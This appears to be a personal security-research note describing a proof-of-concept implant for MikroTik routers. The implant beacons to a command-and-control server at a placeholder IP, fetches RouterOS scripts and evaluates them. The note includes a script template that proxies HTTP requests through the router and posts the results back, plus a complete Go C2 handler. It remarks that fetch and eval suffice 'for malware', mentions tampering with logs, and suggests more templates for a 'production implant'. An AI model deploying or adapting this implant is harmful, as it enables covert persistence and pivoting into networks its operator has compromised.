# tl; dr Reimplementing [[simple-cisco-beacon]] with a small twist. In this (made-up) scenario, the goal was to maintain persistence, but avoid beaconing from within the network. A webshell is usually a good enough alternative, but in this case the webshell is internal and is connected to vial a Mikrotik beacon on the edge that establishes a simple reverse proxy for HTTP. --- # mikrotik scripts Mikrotik scripts are weird, hard to write in, and should be replaced with a sane language. However, the can do fetch, and they can do eval, which is enough for malware. The implant itself is just a loop that runs something like this: ```js [[:parse ([/tool fetch url=http://<ip>:8080/control mode=http http-header-field=x-id:test-implant output=user as-value]->"data")]] ``` This code snippet could either be looped in the background or set up as a reaction handler for some recurring event. Obviously, this is enough for a reverse shell (provided that enough tampering with logging is done beforehand, as fetch requests **are logged by default**). However, I was more interested in building a proxy. Cisco's TCL has **non-blocking** sockets, which allows one to build a full proxy. Mikrotik scripts, though, only provide `fetch`, which is not enough to proxy a full duplex connection. However, what interesting protocol only does request/response? HTTP/1.1, of course, which in many cases is enough. --- # upgrading the shell Any request/response reverse shell (Linux, Windows, routers, whatever) could be easily upgraded to an HTTP proxy by building a `curl`-like command dynamically, executing it, and parsing the result. However, a quick Google search did not yield any existing implementations, so here's an illustration of the concept. The Mikrotik template is as follows (commented and formatted): ```js :global cmdr [:toarray ""] :onerror errno //error handling block {:set cmdr [ /tool fetch url=FULLURL // target URL http-max-redirect-count=5 mode=HTTPMODE // HTTP/HTTPS/FTP http-method=HTTPMETHOD // GET/POST/etc http-data="HTTPDATA" // POST data http-header-field=HEADERS // formatted headers output=user-with-headers as-value ]; /tool fetch url=REPORTBACK // URL to send the data back http-data=($cmdr->"data" . "HEADERMARKER" . // the response data and headers [:tostr ($cmdr->"http-headers")]) http-method=post mode=http output=user as-value} do { /tool fetch url=REPORTBACK // sending back the error http-data=($errno . "HEADERMARKER" . "err") http-method=post mode=http output=user as-value}; ``` --- Sending the processed template to the next fetch done by the implant yields the response, when it is executed. The handler is very easy to build in principle: ```go package main import ( "fmt" "io" "log" "net/http" "strings" "net/url" "regexp" ) var commandTemplate string = ":global cmdr [:toarray \"\"]\n:onerror errno {:set cmdr [/tool fetch url=FULLURL http-max-redirect-count=5 mode=HTTPMODE http-method=HTTPMETHOD http-data=\"HTTPDATA\" http-header-field=HEADERS output=user-with-headers as-value]; /tool fetch url=REPORTBACK http-data=($cmdr->\"data\" . \"HEADERMARKER\" . [:tostr ($cmdr->\"http-headers\")]) http-method=post mode=http output=user as-value} do {/tool fetch url=REPORTBACK http-data=($errno . \"HEADERMARKER\" . \"err\") http-method=post mode=http output=user as-value};\n" // yes, there is no synchronization or handling multiple implants, this is a PoC after all var dataSubmit chan bool var unparsedData string var command string func controlHandler(w http.ResponseWriter, r *http.Request) { log.Printf("checkin: %s from %s", r.Header.Get("x-id"), r.RemoteAddr) if command != "" { w.Header().Set("Content-Type", "text/plain") fmt.Fprintln(w, command) return } http.Error(w, "Forbidden", 403) } func reportHandler(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) data, _ := io.ReadAll(r.Body) unparsedData = string(data) dataSubmit <- true } // headers in the format of header:val func printTestRequest(surl string, method string, headers []string, data string) error { log.Printf("\t request of \"%s %s\"", method, surl) headerStr := strings.Join(headers, ",") targeturl, err := url.Parse(surl) if err != nil { return err } command = strings.Replace(commandTemplate, "FULLURL", surl, 1) command = strings.Replace(command, "HTTPMETHOD", strings.ToLower(method), 1) command = strings.Replace(command, "HTTPDATA", data, 1) command = strings.Replace(command, "HTTPMODE", targeturl.Scheme, 1) command = strings.Replace(command, "HEADERS", headerStr, 1) command = strings.Replace(command, "REPORTBACK", "http://<ip>:8080/report", 2) <- dataSubmit splitd := strings.Split(unparsedData, "HEADERMARKER") if len(splitd) != 2 { fmt.Println(unparsedData) return fmt.Errorf("malformed request") } if splitd[1] == "err" { fmt.Printf("encountered http err: %s", splitd[0]) return fmt.Errorf(splitd[0]) } else { fmt.Println("HTTP/1.1 200 OK") headers := strings.Split(splitd[1], ";") for n, h := range headers { // ; may also occur in headers r, _ := regexp.Compile("^[a-zA-Z\\-]+:.*") // shit approach, wcyd if n < len(headers) - 1 && r.MatchString(headers[n+1]) { fmt.Println(h) } else { fmt.Print(h) } } fmt.Print("\n\n") if len(splitd[0]) > 56 { fmt.Println(splitd[0][0:55], "...snip...") } else { fmt.Println(splitd[0]) } } return nil } func main() { dataSubmit = make(chan bool) http.HandleFunc("/control", controlHandler) http.HandleFunc("/report", reportHandler) log.Println("http listening on :8080") go http.ListenAndServe(":8080", nil) printTestRequest("https://1.1.1.1", "GET", []string{"test-header:asdf"}, "") } ``` --- # does it work? Yes, it does: ![[Screenshot 2025-07-21 at 17.01.18.png]] ![[Screenshot 2025-07-21 at 17.01.44.png]] --- # caveats and further work Some additional work is required for the idea to be usable: - Mikrotik fetch-to-variable requests and responses are limited in length, so saving the response to a file and chunked transfers are required for large responses - The actual proxy part of the HTTP proxy is left as an exercise to the reader, but [gomitmproxy](https://github.com/AdguardTeam/gomitmproxy) is a good start - Maybe some additional command templates should be added in a production implant, at least for outbound VPN tunneling or GRE/IPIP setup